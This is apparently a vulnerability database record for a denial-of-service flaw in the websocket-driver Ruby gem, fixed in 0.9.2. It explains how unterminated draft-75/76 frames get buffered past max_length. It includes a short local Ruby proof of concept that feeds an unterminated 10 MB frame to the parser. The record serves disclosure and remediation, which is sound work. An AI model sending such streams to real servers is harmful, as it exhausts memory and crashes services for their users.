{"id":"CVE-2026-144293","aliases":["GHSA-q3c8-h5pg-2836"],"url":"https://o3.security/vulnerability/CVE-2026-144293","summary":"websocket-driver: Excessive memory use caused by draft-75/76 buffering","details":"### Summary\n\nA server running `websocket-driver` can be made to buffer data in excess of `max_length` and potentially run out of memory by a client sending a non-terminated stream of message data.\n\n### Details\n\nWhen configured using `allow_drafts: true`, the `websocket-driver` library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending `00` and ended by sending `FF`. If a client sends `00` and then sends a long series of bytes, the server will buffer this data in excess of `max_length`, potentially causing it to run out of memory if the message is continued indefinitely.\n\nThis has been mitigated by properly enforcing the `max_length` limit at the point where the data is buffered. It can also be prevented by not setting the `allow_drafts` option.\n\n### Proof of concept\n\nThis script demonstrates how much data is buffered by a draft-75 parser on receipt of a very long unterminated message:\n\n```rb\nrequire 'bundler/setup'\nrequire 'websocket/driver'\n\nclass Sock\n  def write(_) ; end\nend\n\nd = WebSocket::Driver.server(Sock.new, :allow_drafts => true, :max_length => 1024)\nd.on(:connect) { d.start }\n\n# draft-75 handshake: NO Sec-WebSocket-Key/Version/Key1/Key2 -> Draft75 selected\nd.parse(\n  \"GET / HTTP/1.1\\r\\n\" +\n  \"Host: localhost\\r\\n\" +\n  \"Upgrade: websocket\\r\\n\" +\n  \"Connection: Upgrade\\r\\n\" +\n  \"Origin: http://localhost\\r\\n\" +\n  \"\\r\\n\")\n\n# One text frame: 0x00, then 10 MB of 0x41, NO terminating 0xFF, in one chunk.\nN = 10 << 20\nchunk = \"\\x00\" + (\"\\x41\" * (N + 1))\nd.parse(chunk)\n\np d.instance_variable_get(:@delegate)\n    .instance_variable_get(:@reader)\n    .instance_variable_get(:@buffer).bytesize\n\np d.instance_variable_get(:@delegate)\n    .instance_variable_get(:@buffer).size\n```\n\nOn vulnerable versions this will print numbers far in excess of the configured `max_length`.\n\n### Impact\n\nA server with `allow_drafts` enabled can be made to run out of memory and crash by an unauthenticated remote client sending a non-terminating stream of message data.","published":"2026-12-03T17:33:33.072Z","modified":"2026-12-05T20:46:04.074399955Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00744,"percentile":0.56104,"asOf":"2026-12-04"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"websocket-driver","fixedVersion":"0.9.2"}],"fix":{"url":"https://github.com/faye/websocket-driver-ruby/commit/5a0bd6f9cbaa800a3796aa974120ad8bdb38ab35","label":"faye/websocket-driver-ruby@5a0bd6f"},"references":[{"type":"WEB","url":"https://github.com/faye/websocket-driver-ruby/releases/tag/0.9.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144293.json"},{"type":"ADVISORY","url":"https://github.com/faye/websocket-driver-ruby/security/advisories/GHSA-q3c8-h5pg-2836"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144293"},{"type":"FIX","url":"https://github.com/faye/websocket-driver-ruby/commit/5a0bd6f9cbaa800a3796aa974120ad8bdb38ab35"},{"type":"PACKAGE","url":"https://github.com/faye/websocket-driver-ruby"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-05T20:46:04.074399955Z"}}